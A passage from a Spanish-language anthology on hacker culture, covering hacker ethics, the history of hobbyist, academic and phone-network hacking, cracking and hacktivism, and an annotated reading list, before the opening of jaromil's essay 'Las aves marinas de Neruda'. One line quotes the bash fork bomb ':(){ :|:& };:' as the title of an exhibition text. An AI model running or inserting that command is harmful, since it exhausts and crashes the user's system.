El	 «hacking»	 es	 una	 búsqueda	 de	 conocimiento;	 no	 hay	 necesidad	 intrínseca	 o
deseo	de	destruir.	Pero	se	asume	en	general	que	«crackear»	sistemas	por	diversión	y
para	 explorar	 es	 éticamente	 correcto	 mientras	 el	 cracker	 no	 cometa	 robos,
vandalismo,	 o	 vulnere	 la	 confidencialidad.	 Sin	 embargo,	 ciertos	 accidentes	 e
intrusiones	que	para	los	hackers	pueden	ser	inofensivos	pueden	hacer	que	la	víctima
pierda	tiempo	y	esfuerzo.

Protege	la	privacidad.

Esto	 está	 en	 consonancia	 con	 el	 ethos	 de	 la	 información	 libre	 al	 separar	 la
información	 pública	 de	 la	 privada.	 Por	 dónde	 se	 traza	 la	 línea	 es,	 por	 supuesto,
cuestión	de	visión	personal	(y	política).

No	derroches.

Los	 recursos	 informáticos	 no	 deben	 permanecer	 inactivos	 y	 desaprovechados.
Utilizar	 recursos	 desaprovechados	 y	 quizás	 dejar	 sugerencias	 para	 mejorar	 su
rendimiento	está	bien	visto	como	favor.

Excede	las	limitaciones.

Para	un	hacker,	decirle	que	algo	no	se	puede	hacer,	se	convierte	en	un	imperativo
moral	para	intentarlo.

El	imperativo	comunicacional.

Comunicarse	 y	 asociarse	 con	 pares	 es	 un	 derecho	 humano	 fundamental.	 Para
algunos	importa	tanto	como	para	motivar	violaciones	de	leyes	y	regulaciones.

No	dejes	huellas.

No	exhibirse	en	los	lugares	«hackeados»	es	útil	más	allá	de	la	propia	seguridad.
También	ayuda	a	otros	hackers	a	evitar	ser	atrapados	o	perder	el	acceso.

¡Comparte!

La	información	incrementa	su	valor	al	compartirse	con	otras	personas.	Los	datos
pueden	 ser	 una	 base	 de	 aprendizaje	 para	 algún	 otro;	 el	 software	 puede	 mejorarse
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colectivamente.

Combate	la	ciber-tiranía.

El	 «hacking»	 es	 necesario	 para	 ayudar	 a	 proteger	 el	 mundo	 de	 desarrollos
distópicos	de	sistemas	globales	de	información	à	la	1984.

Confía,	pero	mantente	alerta.

Siguiendo	el	 imperativo	de	manos	a	 la	obra	en	sistemas	 técnicos	y	sociales,	 tus
descubrimientos	pueden	contribuir	a	mejorar	los	sistemas.

Orígenes	de	la(s)	cultura(s)	hacker

Habría	al	menos	tres	líneas	de	antecedentes	que	conducen	a	lo	que	llamamos	las
actuales	 culturas	 hacker.	 Se	 trata	 de	 los	 aficionados	 [hobbyists],	 los	 académicos
[academics]	y	los	ocupantes	de	las	redes	[networkers].

El	 «hacking»	 como	 hobby	 se	 originó	 con	 los	 radioaficionados	 temprano,	 en	 la
década	del	 ‘20.	Un	fuerte	 interés	en	 la	electrónica	proveyó	el	 terreno	fértil	para	 las
primeras	computadoras	hogareñas,	como	la	Altair	8800.	Suecia	tuvo	desde	temprano
su	flamante	línea	casera:	la	ABC80	en	1978,	seguida	de	la	ABC800	en	1981.

Algunas	 de	 las	 computadoras	 hogareñas	 se	 vendían	 como	 kits	 para	 armar,
nutriendo	la	tradición	de	auténtico	conocimiento	de	la	tecnología.

Computadoras	 para	 el	 hogar	 como	 la	 Commodore	 64,	 que	 ofrecían	 gráficos	 a
color	 y	 audio	 de	 calidad,	 atrajeron	 a	 amantes	 de	 los	 juegos	 y	 programadores.
«Crackear»[93]	 la	 protección	 contra	 copia	 de	 los	 juegos	 se	 convirtió	 en	 un	 modo
natural	 de	 probar	 las	 destrezas	 y	 aptitudes	 técnicas.	 Los	 juegos	 «crackeados»
necesitaban	una	pantalla	vistosa	donde	el	cracker	pudiera	darse	crédito	por	su	trabajo.
Esto	derivó	en	 la	 intro,	 una	producción	multimedia	 en	 la	que	 se	 exhibían	destrezas
técnicas	y	artísticas.	Hasta	hace	poco,	se	celebraban	convenciones	donde	estas	intro
se	presentaban	independizadas	de	los	juegos	que	las	habían	originado.

El	«hacking»	académico	 se	 remonta	generalmente	 al	 Instituto	de	Tecnología	de
Massachusetts	 (MIT)	 donde	 el	 Club	 de	Modelos	 de	 Trenes	 desarrollaba	 complejos
sistemas	a	escala	en	los	‘50.	El	término	«hack»	se	usaba	para	referir	bromas	o	trucos
basados	 en	 la	 tecnología.	 Su	 significado	 pasó	 a	 ser	 la	 tecnología	 necesaria	 para
ejecutar	los	trucos,	y	finalmente	cualquier	solución	técnica	ingeniosa	en	general.

El	 MIT	 lanzó	 un	 proyecto	 a	 principios	 de	 los	 ‘60	 destinado	 a	 desarrollar	 una
computadora	 de	 recursos	 compartidos.	 Este	 proyecto	 se	 convirtió	 en	 el	 punto	 de
partida	 del	 laboratorio	 de	 Inteligencia	 Artificial,	 donde	 emergió	 la	 primera	 cultura
hacker	 académica.	 Los	 estudiantes	 se	 especializaban	 en	matemáticas	 e	 inteligencia
artificial	y	pasaban	 treinta	horas	 seguidas	 en	 sesiones	de	programación	en	 lugar	de
asistir	 a	 las	 clases	 regulares.	 Allí	 surgieron	 las	 ideas	 sobre	 la	 libertad	 de	 la
información.	 Muchos	 estudiantes	 aprendieron	 a	 burlar	 cerraduras	 para	 poder
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aprovechar	 las	 máquinas	 de	 la	 Universidad.	 Howard	 Rheingold	 recupera	 bien	 ese
espíritu	en	Tools	for	thought	(1985):

MIT,	edificio	26,	Proyecto	MAC,	1960

En	el	momento	en	que	David	entró,	un	joven	llamado	Richard	Greenblatt,
que	 vivía	 en	 base	 a	 una	 dieta	 típica	 de	 gaseosas	 y	 golosinas,	 y	 que	 no	 se
detenía	a	dormir,	mucho	menos	a	cambiar	de	ropa,	 le	explicaba	a	un	círculo
de	 asombrados	 admiradores,	 que	 incluía	 a	 algunos	 de	 los	 científicos
informáticos	que	lo	habían	contratado,	cómo	él	pretendía	escribir	un	programa
que	jugara	al	ajedrez	con	la	habilidad	suficiente	para	vencer	a	un	humano.	El
director	 de	 tesis	 de	 Greenblatt,	 Marvin	 Minsky,	 trató	 de	 desanimarlo,
diciéndole	 que	 había	 pocas	 esperanzas	 de	 realizar	 avances	 en	 software	 que
jugara	al	ajedrez.

Seis	años	después	de	que	apareciera	por	primera	vez	entre	los	habitantes
del	 edificio	 26,…	David	 Rodman…	 estuvo	 entre	 el	 grupo	 que	 pudo	 ver	 al
programa	 «MacHack»	 de	 Greenblatt	 demoler	 a	 Hubert	 Dreyfuss,	 el	 crítico
número	 uno	 de	 todo	 el	 proyecto	 de	 Inteligencia	 Artificial,	 en	 un
promocionado	y	altamente	simbólico	juego	de	ajedrez.[94]

El	«hacking»	de	redes	se	realizaba	originariamente	en	las	redes	de	teléfonos.	Los
«phreakers»[95]	 desarrollaron	 modos	 de	 surfear	 el	 sistema	 telefónico,	 creando
conexiones	 a	 través	 de	 docenas	 de	 interruptores	 y	 países	 utilizando	 comandos	 de
control	 que	 sólo	 se	 esperaba	 que	 conociesen	 las	 empresas	 telefónicas.	 Podían
obtenerse	 llamadas	gratuitas	de	muchas	maneras.	Por	 ejemplo,	 en	ciertas	 zonas,	un
tono	directo	de	2600	Hz	de	frecuencia	significaba	que	la	línea	no	estaba	ocupada.	Si
uno	 tenía	 una	 llamada	 en	 una	 línea	 y	 enviaba	 un	 tono	 de	 2600	Hz	 por	 el	 tubo,	 la
empresa	dejaba	de	facturar	la	llamada.

Algunos	 «phreakers»	 legendarios	 fueron	 Joe	 Engressia,	 que	 era	 ciego	 y	 podía
silbar	los	tonos	de	control	con	precisión	perfecta,	y	Capitán	Crunch,	que	obtuvo	ese
nombre	 por	 su	 descubrimiento	 de	 que	 el	 silbato	 que	 venía	 de	 regalo	 en	 la	 caja	 de
cereales	«¡Capitán	Crunch!»	podía	utilizarse	para	controlar	los	tonos.[96]	La	mayoría
de	 los	 «phreakers»,	 sin	 embargo,	 se	 compraban	 o	 fabricaban	 generadores	 de	 tonos
simples	llamados	blue	boxes.

Gradualmente,	 las	 redes	 de	 computadoras	 comenzaron	 a	 desarrollarse.	 Las
compañías	 de	 teléfono	 adoptaron	 interruptores	 controlados	 por	 computadoras.	 El
«hacking»	de	 redes	 se	mudó	de	 las	 redes	de	 teléfonos	electromecánicas	a	 las	 redes
digitales	de	computadoras.	Con	una	terminal	y	un	módem,	un	mundo	nuevo	se	abría.

Dimensiones	de	la(s)	cultura(s)	hacker
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La(s)	 cultura(s)	 hacker	 actuales	 provienen	 del	 «hacking»	 de	 aficionados
[hobbyists],	 el	«hacking»	académico	y	el	«hacking»	de	 redes.	Se	basa,	 en	mayor	o
menor	medida,	en	un	código	ético,	interpretado	y	compartido	de	diferentes	maneras.
¿Cómo	se	la	puede	entender?

Hay	 unas	 pocas	 dimensiones	 que	 parecen	 abrir	 la	 perspectiva	 de	 manera
interesante.

Hacking	 —	 cracking.	 Los	 verdaderos	 hackers	 se	 cuidan	 de	 señalar	 que	 las
actividades	de	«hacking»	maliciosas	deberían	 llamarse	«cracking»,	 para	hablar	 con
corrección.	 Sin	 embargo,	 el	 problema	 está	 en	 dónde	 trazar	 la	 línea.	 La	 policía,	 el
mundo	 corporativo,	 el	 sistema	 judicial,	 etc.	 adoptan	 una	 posición	 altamente
restrictiva.	Mucho	de	lo	que	los	hackers	llaman	exploración	con	fines	de	aprendizaje
se	halla	normalmente	penado	por	la	ley.

Antes	 de	 la	 web,	 la	 mayoría	 del	 «hacking»/«cracking»	 significaba	 hallar
computadoras	en	las	redes,	 introducirse	en	ellas,	merodear	un	poco,	quizás	copiarse
algunos	archivos	y	luego	dejar	una	«entrada	trasera»	[backdoor]	lista	para	ingresar	de
nuevo	a	conveniencia.	Parte	del	placer	parecía	estar	en	coleccionar	direcciones	de	las
computadoras	a	las	que	el	hacker	había	tenido	acceso.	También,	por	supuesto,	estaba
el	hecho	de	usar	destrezas	técnicas	superiores	para	evadir	el	sistema	de	seguridad.

El	 «hacking»	 y	 «cracking»	 en	 los	 ‘90	 ha	 tomado	 formas	más	 visibles.	 Alterar
páginas	 web	 es	 muy	 popular,	 dada	 la	 enorme	 visibilidad	 de	 los	 resultados.	 Esto
significa	básicamente	«crackear»	una	computadora	en	la	que	funciona	el	servidor	de
una	página	web	y	colocar	allí	las	páginas	propias	en	lugar	de	la	información	original.
Attrition	 (http://www.attrition.org/)	 contiene	 una	 extensa	 colección	 de	 páginas
web	modificadas.

Dada	 la	 naturaleza	 pública	 de	 los	 servidores	 de	 correo	 y	 páginas	 web,	 éstos
pueden	«crackearse»	también	sin	acceder	a	la	computadora	en	la	que	se	ejecutan.	Los
ataques	 por	 Negación-de-servicio	 [Denial-of-service]	 a	 servidores	 públicos,	 que
implican	 enviar	 millones	 de	 peticiones	 de	 acceso	 a	 los	 servidores	 de	 manera
simultánea	 desde	 muchas	 direcciones,	 son	 bastante	 frecuentes.	 El	 bombardeo	 de
casillas	de	mail	puede	verse	como	una	variación	de	lo	mismo.

La	creación	y	difusión	de	virus	es	otra	forma	de	«hacking»/«cracking»	que	se	ha
potenciado	con	el	 crecimiento	de	 Internet.	Los	e-mail	 son	hoy,	 lejos,	el	medio	más
común	por	el	que	viajan	virus	y	troyanos.

Propósitos.	 La	 cultura	 hacker	 académica	 ve	 a	 la	 intrusión	 como	 un	 medio	 de
aprender	más	acerca	de	las	computadoras	y	las	redes.	Si	los	datos	son	alterados,	esto
se	 hace	 típicamente	 como	 una	 broma	 práctica.	 En	 general,	 los	 hackers	 ven	 la
intrusión	como	algo	inofensivo.

Otro	 argumento	 común	 de	 los	 hackers	 para	 exponer	 los	 baches	 de	 seguridad
mediante	la	intrusión	es	ayudar	a	construir	sistemas	más	seguros	en	el	futuro.
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En	contra	de	la	norma	hacker	tradicional	de	mantener	un	perfil	bajo,	muchas	de
las	modificaciones	de	páginas	web	son	al	estilo	graffiti.	No	existe	ningún	propósito
definido,	sólo	el	mensaje	triunfante	de	los	crackers.	La	expresión	común	es	«Ud.	ha
sido	hackeado	por	el	grupo	X»,	seguido	de	una	firma	con	imágenes	estilo	graffiti.

El	 «hacking»/«cracking»	 se	 ha	 utilizado	 muchas	 veces	 para	 venganzas
personales.	 No	 es	 raro	 para	 los	 oficiales	 de	 policía	 que	 investigan	 crímenes
informáticos	 que	 reciban	 cuentas	 de	 tarjetas	 de	 crédito	 y	 de	 teléfono	 con	 montos
gigantescos.	 Un	 hacker	 logró	 acceder	 a,	 por	 ejemplo,	 la	 compañía	 de	 teléfonos	 y
manipuló	las	bases	de	datos.

El	activismo	político	es	otra	razón	para	el	«hacking»/«cracking».	El	sitio	web	de
Telia	en	Suecia	fue	modificado	en	1996	como	resultado	del	creciente	descontento	con
el	 monopolio	 y	 la	 política	 tarifaria	 de	 los	 servicios	 de	 Internet.	 El	 Frente	 de
Liberación	Animal	de	Suecia	atacó	el	Smittskydds	Institutet	y	el	Karolinska	Institutet
repetidamente	 en	 1998	 y	 1999	 para	 detener	 los	 experimentos	 innecesarios	 con
animales.	Un	grupo	internacional	conocido	es	PHAIT	(Portuguese	Hackers	Against
Indonesian	Army	 [Hackers	Portugueses	Contra	el	Ejército	de	Indonesia]),	que	atacó
varias	 veces	 a	 las	 autoridades	 de	 Indonesia	 en	 1997,	motivado	 por	 la	 situación	 en
Timor	del	Éste.

Cyberpunk	—	extropismo.	Linus	Walleij	define	a	un	cyberpunk	como

una	persona	en	una	sociedad	altamente	tecnificada	que	posee	información
y/o	conocimiento	que	el	poder	gobernante	preferiría	haber	reservado	para	sí.

El	cyberpunk	es,	en	esencia,	una	postura	pesimista	a	nivel	general,	en	la	cual	la
sociedad	 es	 vista	 como	 estructuras	 de	 sistemas	 globales	 de	 información	 que
gobiernan	 a	 las	 personas.	 Las	 visiones	 del	 futuro	 son	 distópicas.	 Sin	 embargo,	 el
cyberpunk/hacker	 posee	 las	 destrezas	 necesarias	 para	 sobrevivir	 y	 prosperar	 en	 un
mundo	así.	De	ahí	que	se	de	un	giro	optimista	en	el	nivel	individual	de	lucha	contra	el
sistema.

La	 noción	 de	 lucha	 contra	 sistemas	 opresivos	 se	 extiende	 también	 a	 las
limitaciones	del	cuerpo	humano.	Drogas	inteligentes,	 implantes	y	cyborgs	son	parte
de	la	mitología	asociada	al	cyberpunk.

Mientras	 que	 el	 cyberpunk	 es	 distópico,	 el	 extropismo	 se	 concentra	 en	 las
consecuencias	 positivas	 para	 la	 sociedad.	 El	 término	 extropía	 es	 el	 inverso	 de
entropía,	 y	 significa	 que	 podemos	 proseguir	 superando	 nuestras	 limitaciones	 por
medio	 de	 nuevas	 tecnologías.	 La	 experimentación	 persistente	 y	 el	 desarrollo	 de
tecnología	 conducirán	 a	 mayor	 libertad	 para	 el	 individuo	 y	 menos	 opresión.	 Una
condición	necesaria	es	que	individuos	libres	(en	vez	de	corporaciones	o	autoridades)
se	hagan	cargo	del	desarrollo.
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La(s)	cultura(s)	hacker	vista	desde	afuera

Los	 periodistas,	 investigadores	 y	 otros	 que	 se	 encuentran	 con	 hackers/crackers
suelen	comentar	su	necesidad	obsesiva	de	jactarse	de	sus	logros.	Uno	podría	imaginar
que	una	 estructura	 social	 donde	 el	 único	 criterio	de	 evaluación	 es	 el	 conocimiento,
necesita	 la	 exhibición	 para	 mantener	 en	 juego	 el	 orden.	 Sin	 embargo,	 esta
observación	contradice	el	principio	ético	de	mantener	un	perfil	bajo.

Se	 pueden	 hacer	 varias	 interpretaciones.	 Podría	 ser	 que	 el	 principio	 ético	 que
dedujo	 Mizrach	 debería	 leerse	 en	 realidad	 como	 «No	 dejes	 huellas	 en	 las
computadoras	 que	 hackees».	 Otra	 posibilidad	 es	 que	 los	 que	 alardeen	 sean	 los
aspirantes;	 los	 hackers	 consagrados	 no	 necesitan	 hacerlo.	Otra,	 que	 los	 periodistas,
investigadores,	etc.	construyen	una	imagen	de	los	hackers	tal	como	les	gustaría	que
fuesen.

Lo	 que	 está	 claro,	 sin	 embargo,	 es	 que	 la	 meritocracia	 del	 conocimiento
(informático)	puede	dificultar	que	se	evite	la	arrogancia	y	la	exhibición	a	la	vista	del
público.	Un	ejemplo	puede	leerse	en	el	anuncio	de	la	página	de	Linus	Walleij:

Aviso:	Yo,	Linus	Walleij,	publiqué	estas	páginas	por	razones	personales	y
políticas.	Suelo	usar	cantidades	balanceadas	de	 lenguaje	obsceno	y	violento,
así	como	argot,	dado	que	pienso	que	sirve	para	sacudir	cerebros	dormidos.	Si
pensás	que	esto	te	puede	molestar	(o	sea,	no	querés	despertar	el	cerebro),	salí
ya	mismo.	Ésta	es	una	página	para	gente	madura,	centrada	y	adulta.	Si	se	te
ocurre	 escribirme	 por	 cualquier	 tema	 relacionado	 con	 las	 páginas	 o	 mi
persona	en	general,	por	favor	considerá	que	quiero	críticas	constructivas.	Esto
significa	que	no	tenés	que	escribir:	«Esta	página	me	enferma»,	sino	más	bien:
«Esta	página	me	enferma,	porque…»	y	así.	Correo	que	me	parezca	estúpido,
arrogante,	 ignorante	 o	 aburrido	 será	 tirado	 a	 la	 basura	 sin	 más.	 Apretar
cualquiera	de	los	links	que	siguen	significa	que	estás	de	acuerdo	conmigo	en
esto.

Otro	rasgo	muy	visible	de	los	hackers	es	su	devoción	por	el	«hacking».	En	1976,
Joseph	 Weizenbaum	 (reconocido	 crítico	 de	 la	 Inteligencia	 Artificial)	 describió	 el
fenómeno	de	la	«programación	compulsiva»	en	el	libro	Computer	power	and	human
reason:

En	 cualquier	 lugar	 donde	 se	 hayan	 establecido	 centros	 de	 cómputos,	 es
decir,	en	innumerables	lugares	de	Estados	Unidos,	y	virtualmente	en	todas	las
demás	 regiones	 industriales	 del	 mundo,	 jóvenes	 brillantes	 de	 aspecto
descuidado,	 con	 ojos	 muchas	 veces	 hundidos	 y	 rojos,	 se	 pueden	 encontrar
sentados	 en	 consolas	 de	 computadoras,	 sus	 brazos	 extendidos	 listos	 para
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ejecutar,	sus	dedos	ya	dispuestos	para	apretar	los	botones	y	teclas	en	los	que
su	 atención	 parece	 estar	 tan	 absorbida	 como	 la	 del	 jugador	 en	 la	 tirada	 de
dados.	Cuando	no	se	transfiguran	tanto,	suelen	sentarse	en	mesas	cubiertas	de
impresos	de	computadoras	sobre	los	que	se	tienden	como	poseídos	estudiantes
de	un	texto	cabalístico.	Trabajan	hasta	que	se	caen,	veinte,	treinta	horas	cada
vez.	 Su	 comida,	 si	 la	 organizan,	 se	 la	 traen:	 cafés,	Cocas,	 sandwichs.	 Si	 se
puede	duermen	en	colchones	cerca	de	la	computadora.	Pero	sólo	unas	pocas
horas;	 luego,	de	vuelta	a	 la	consola	o	a	 los	 impresos.	Su	 ropa	arrugada,	 sus
caras	 sin	 afeitar	 ni	 lavar,	 y	 sus	 pelos	 revueltos,	 todo	muestra	 que	 se	 hallan
evadidos	de	sus	cuerpos	y	del	mundo	en	el	que	se	mueven.	Existen,	al	menos
cuando	 lo	 consiguen,	 sólo	 a	 través	 de	 y	 para	 las	 computadoras.	 Son
vagabundos	 informáticos,	 programadores	 compulsivos.	 Son	 un	 fenómeno
internacional.[97]

Una	versión	diferente	de	 la	misma	descripción	 se	 centraría	quizás	 en	 la	 intensa
concentración,	 la	 satisfacción	 personal	 y	 los	 ricos	 intercambios	 sociales	 en	 y
alrededor	de	una	buena	sesión	de	programación.

Sherry	 Turkle	 entrevistó	 a	 diversos	 hackers	 sobre	 sus	 relaciones	 con	 las
computadoras	 como	 parte	 de	 la	 investigación	 para	 su	 libro	 The	 second	 self.	 Su
explicación	del	poder	de	atracción	de	 las	computadoras	 se	centra	en	el	control	y	 la
compensación.	La	computadora	ofrece	un	universo	predecible	donde	el	usuario	posee
poderes	 divinos	 de	 crear	 y	 destruir	 una	 vez	 que	 las	 destrezas	 necesarias	 fueron
adquiridas.	También	señala	las	fuertes	normas	estéticas	de	la	programación.

La	asociación	percibida	entre	cultura(s)	hacker	y	crimen	informático	es	un	tema
central.	No	hay	lugar	aquí	para	tratarlo	bien.	Buenas	fuentes	son	Walleij:	Copyright
finns	 inte,	 version	 3.0	 (en	 sueco;	 en	 http://www.df.lth.se/~triad/book/)[98]	 y
Sterling:	The	 Hacker	 Crackdown	 (New	 York,	 Bantam	 Books,	 1992)[99].	 Al	 pasar,
debe	señalarse	que:

1	 los	 hackers	 tradicionales	 reivindican	 la	 distinción	 entre	 hackers	 y	 crackers,	2
muchos	de	los	delitos	informáticos	anunciados	por	los	medios	no	son	«hackeadas»,	y
3	la	mayoría	de	los	principios	éticos	son	suficientemente	flexibles	para	abarcar	varias
motivaciones	y	propósitos	personales	(incluyendo	los	ilegales).

Fuentes	seleccionadas

Esta	es	una	breve	lista	con	algunas	de	las	fuentes	que	considero	esenciales.	Cada
una	contiene	gran	número	de	referencias	y	punteros	para	seguir	explorando.

Attrition	(http://www.attrition.org/).	Una	colección	de	materiales	de	y	para	las
culturas	 hacker.	 Véase	 en	 particular	 el	 extenso	 archivo	 de	 copias	 de	 sitios	 web
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modificados	por	crackers.

Free	 Software	 Foundation	 ([Fundación	 Software	 Libre]	 http://www.fsf.org).
Describe	los	orígenes	y	el	status	del	proyecto	GNU,	iniciado	por	Richard	Stallman	en
1984	para	desarrollar	una	versión	libre	de	UNIX.	Los	componentes	de	GNU	hoy	son
ampliamente	usados	junto	al	más	famoso	kernel	de	Linux.

Katie	 Hafner	 y	 John	 Markoff:	Cyberpunk:	 outlaws	 and	 hackers	 on	 the	 computer
frontier.	London,	Corgi	Books,	 1993.	Las	historias	de	 tres	 famosos	hackers:	Kevin
Mitnick,	Pengo	y	Robert	Tappan	Morris.	Escrito	con	estilo	periodístico	y	centrado	en
el	enfoque	humano,	muy	fácil	de	leer.

Douglas	Hofstadter:	Gödel,	 Escher,	 Bach:	 An	 eternal	 golden	 braid.	 Un	 clásico	 de
culto	 entre	 científicos	 (y	 hackers).	 Hofstadter	 conecta	 matemáticas,	 música	 e
imaginaciones	 con	 temas	 de	 Inteligencia	 Artificial	 [hay	 trad.	 cast.:	Gödel,	 Escher,
Bach:	un	eterno	y	grácil	bucle.	Barcelona,	Tusquets,	1989].

Tracy	Kidder:	The	soul	of	a	new	machine	 (Boston,	Little-Brown,	1981).	La	historia
de	 cómo	Data	General	 desarrolló	 su	 primera	minicomputadora.	 Captura	 el	 espíritu
«Sociedad	de	los	Poetas	Muertos»	del	«hacking»	cooperativo	e	intenso.

New	 Hacker’s	 Dictionary,	 editado	 por	 Eric	 S.	 Raymond.	 El	 lenguaje	 es	 un
componente	fuerte	de	toda	cultura.	Sin	excepciones	para	la(s)	cultura(s)	hacker.	Este
diccionario	es	un	clásico	(http://www.hack.gr/jargon/).	[hay	versión	en	papel:	The
New	Hacker’s	Dictionary.	Cambridge,	MIT	Press,	1996].

Jörgen	 Nissen:	 Pojkarna	 vid	 datorn.	 Symposion	 Graduate,	 1993.	 Una	 tesis	 de
doctorado	de	sociología	en	sueco	sobre	la	cultura	hacker	de	aficionados	en	Suecia.

Phrack	 (http://www.phrack.org/).	 Una	 revista	 hacker	 histórica,	 publicada	 en
forma	gratuita	desde	1985	a	través	de	BBS’s	y	más	recientemente	por	Internet.

Eric	 S.	 Raymond:	 The	 cathedral	 and	 the	 bazaar
(http://www.catb.org/~esr/writings/cathedral-bazaar/).	 Un	 análisis	 de	 por
qué	funciona	el	concepto	de	código	abierto	de	Linux	[hay	trad.	cast.:	La	catedral	y	el
bazar,	 http://es.tldp.org/Otros/catedral-bazar/cathedral-es-paper-

00.html#toc1/	].

——,	 «Homesteading	 the	 noosphere»	 (en
http://www.catb.org/~esr/writings/cathedral-bazaar/).	 Un	 ensayo	 sobre
propiedad	y	pertenencia	en	la	cultura	de	código	abierto	[hay	trad.	cast.:	«Cultivando
la	noosfera»,	en	http://www.geocities.com/jagem/noosfera.html	].

——,	«The	magic	cauldron»	(en	http://www.catb.org/~esr/writings/cathedral-
bazaar/).	 Sobre	 la	 economía	 del	 software	 de	 código	 abierto	 [hay	 trad.	 cast.:	 «El
caldero	mágico»,	en	http://www.alanta.info/MagicCauldron.html	].
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Howard	 Rheingold:	 Tools	 for	 thought,	 1985
(http://www.rheingold.com/texts/tft/).	Un	buen	 texto	 sobre	 la	historia	de	 la(s)
cultura(s)	 hacker,	 con	 énfasis	 puesto	 en	 el	 «hacking»	 académico	 en	 EE.	UU.	 [hay
versión	 en	 papel:	 Tools	 for	 thought:	 The	 History	 and	 Future	 of	 Mind-Expanding
Technology.	Cambridge,	MIT	Press,	2000].

Bruce	Sterling:	The	hacker	 crackdown:	 law	and	disorder	on	 the	 electronic	 frontier
(New	York,	Bantam	Books,	1992).	La	historia	de	la	Operación	Sundevil,	un	intento	a
gran	 escala	 de	 las	 autoridades	 de	 EE.	 UU.	 de	 «combatir	 el	 delito	 informático»	 y
encarcelar	hackers.	El	libro	se	halla	disponible	en	diversos	formatos	en	la	Electronic
Frontier	 Foundation	 [hay	 trad.	 cast.:	 La	 caza	 de	 hackers,
http://banners.noticiasdot.com/termometro/boletines/docs/consultoras/hackers/75-

Lacazade272621.pdf	].

Clifford	Stoll:	The	cuckoo’s	egg	(New	York,	Doubleday,	1989).	Describe	la	búsqueda
de	 Stoll	 en	 pos	 de	 un	 hacker	 infiltrado	 en	 su	 sistema	 de	 los	 Laboratorios	 de
Lawrence,	Berkeley;	 una	 búsqueda	 que	 lo	 lleva	 hasta	 Europa	 del	 Éste.	 El	 enfoque
conspirativo	 del	 libro	 de	 Stoll	 se	 equilibra	 con	 el	 relato	 de	 la	 misma	 historia	 que
hacen	Hafner	y	Markoff	 (ver	supra)	 [hay	 trad.	 cast.:	El	huevo	del	cuco.	 Barcelona,
Planeta,	1990].

Sherry	Turkle:	The	second	self	 (New	York,	Simon	and	Schuster,	1984).	Un	estudio
psicológico	de	los	hackers	(entre	otros	grupos)	y	sus	relaciones	con	las	computadoras
[hay	 trad.	 cast.:	 El	 segundo	 yo:	 las	 computadoras	 y	 el	 espíritu	 humano.	 Buenos
Aires,	Galápago,	1984].

Linus	 Walleji:	 Copyright	 finns	 inte,	 version	 3.0
(http://www.df.lth.se/~triad/book/).	 El	 mejor	 texto	 en	 sueco	 sobre	 culturas
hacker	que	vi.	Muy	amplio;	algunos	materiales	sobre	la	historia	de	las	culturas	hacker
en	 Suecia	 son	 únicos	 [hay	 trad.	 inglesa:	 Copyright	 does	 not	 exist,
http://svenskefaen.no/cdne/	].
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Las	aves	marinas	de	Neruda[100]

jaromil

aromil	 es	 un	 hacker	 italiano.	 Se	 define	 como	 «amante	 de	 la	 libertad	 y	 desarrollador	 de
software,	 artista	 y	 mediactivista,	 performer	 y	 emigrante».	 En	 2000	 dio	 inicio	 al	 proyecto

Dyne.org	 en	 el	 que	participa	un	 colectivo	de	programadores	para	 crear	 una	versión	portátil	 del
sistema	Linux.	Otros	proramas	que	impulsa	son	MuSe,	HasciiCam	y	FreeJ.	Para	más	información
puede	visitarse	su	página	en	http://www.rastasoft.org/.

«Las	 aves	marinas	 de	Neruda»	 fue	 publicado	 por	 jaromil	 en	 su	 página	web	 en	 octubre	 de
2001.

«:(){	 :|:&	 };:»	 es	 la	 nota	 de	 presentación	 para	 la	muestra	 sobre	 virus	 informáticos	 «I	 Love
You»,	en	el	Museo	de	Artes	Aplicadas,	Frankfurt,	Alemania,	2002.

1.	PRELUDIO

«La	destruction	de	 la	conscience	 individuelle	 représente	pourtant	une	haute	 idée	de
culture,	c’est	une	idée	profonde	de	la	culture	d’ou	dérive	une	forme	toute	nouvelle	de
civilisation.	 Ne	 pas	 se	 sentir	 vivre	 en	 tant	 qu’individu	 revient	 à	 échapper	 à	 cette
forme	 redoutable	 du	 capitalisme	que	moi,	 j’appelle	 le	 capitalisme	de	 la	 conscience
puisque	l’âme	c’est	le	bien	de	tous».[101]

Antonin	Artaud,	«Messages	révolutionnaires»
3	de	junio	de	1936

2.	PANORAMA

(sobre	las	teorías	de	Eben	Moglen)

2.1	horizontalidad	y	red

El	crecimiento	de	la	red	hizo	que	se	hiciera	todavía	más	factible	la	alternativa	no-
propietaria[102].	Lo	que	a	nivel	popular	y	académico	se	nombra	como	una	cosa	(«la
Internet»)	 en	 realidad	 es	 una	 condición	 social:	 el	 hecho	 de	 que	 en	 la	 sociedad	 red
todos	 están	 conectados	 directamente,	 sin	 intermediarios,	 a	 todos	 los	 demás.	 La
interconexión	global	de	las	redes	eliminó	el	cuello	de	botella	que	obligaba	a	que	en	la
era	 de	 los	 mainframes[103]	 un	 fabricante	 de	 software	 centralizado	 regulara	 y
distribuyera	los	productos	de	la	innovación	individual.

2.2	libertad	inherente	a	los	flujos	de	bits
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El	 software	 —ya	 sean	 programas	 ejecutables,	 música,	 arte	 visual,	 poesía,
armamento,	 o	 lo	 que	 sea—	 consiste	 en	 flujos	 de	 bits,	 que	 de	manera	 básicamente
indistinta	 son	 sometidos	 a	 una	 confusa	 multiplicidad	 de	 categorías	 legales.	 Esta
multiplicidad	es	 inestable	a	 largo	plazo	por	razones	inherentes	a	 los	procedimientos
legales.	 La	 inestabilidad	 de	 las	 normas	 se	 origina	 en	 la	 necesidad	 de	 diferenciar
distintos	 intereses	 y	 derechos	 de	 propiedad	 respecto	 de	 los	 flujos	 de	 bits.	 Esta
necesidad	 la	 padecen	 fundamentalmente	 aquéllos	 que	 esperan	 beneficiarse	 con	 las
formas	 socialmente	 aceptadas	 de	 monopolio	 derivadas	 de	 tratar	 a	 las	 ideas	 como
propiedad	privada.	Aquéllos	de	nosotros	que	nos	inquietamos	por	la	inequidad	social
y	la	hegemonía	cultural	generadas	por	este	régimen	intelectualmente	insatisfactorio	y
moralmente	 repudiable	 provocamos	 gritos	 de	 escándalo.	 Los	 que	 nos	 gritan	 a
nosotros	 creen	 que	 estas	 leyes	 de	 propiedad	 son	 necesarias	 no	 por	 cierto	 deseo
manifiesto	de	vivir	en	el	Murdochworld[104]	—aunque	un	poco	de	cooptación	nunca
está	de	más—,	sino	porque	pretenden	demostrar	con	la	metáfora	de	los	incentivos	—
que	ellos	toman	no	como	simple	metáfora	sino	como	argumento—	que	estas	leyes	—
